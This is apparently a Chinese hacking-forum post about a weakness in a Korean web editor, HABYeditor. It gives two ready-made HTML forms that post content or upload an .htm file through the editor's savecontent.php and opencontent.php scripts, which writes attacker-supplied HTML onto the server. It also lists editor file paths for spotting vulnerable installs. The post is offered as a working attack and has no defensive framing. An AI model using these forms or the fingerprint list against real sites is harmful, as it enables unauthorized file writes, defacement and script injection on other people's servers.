韩国某编辑器HABYeditor鸡肋漏洞！

直接写htm文件，文件名：tmpcontent.htm：

<form name="frm" enctype="multipart/form-data" method="post" action="http://localhost/editor/filemanager/php/savecontent.php">
<textarea name="htmlsource" cols="30" rows="4"></textarea><br />
<input type="submit" name="submit" value="GO FUCK" />
</form>

直接上传htm文件：文件名：tmpcontent.htm

<form name="up" enctype="multipart/form-data" method="post" action="http://localhost/editor/filemanager/php/opencontent.php">
<input type="file" name="htmlFile" /><br />
<input type="submit" name="submit" value="GO FUCK" />
</form>

写个htm文件到服务器你们会发现会解析的！

 

编辑器判断方法：
editor/history
editor/license
editor/htmlarea
editor/samples/sample_euckr.htm
editor/samples/sample_utf8.htm
editor/filemanager/php/upload.php
editor/filemanager/php/savecontent.php
editor/filemanager/php/filemanager_lib.php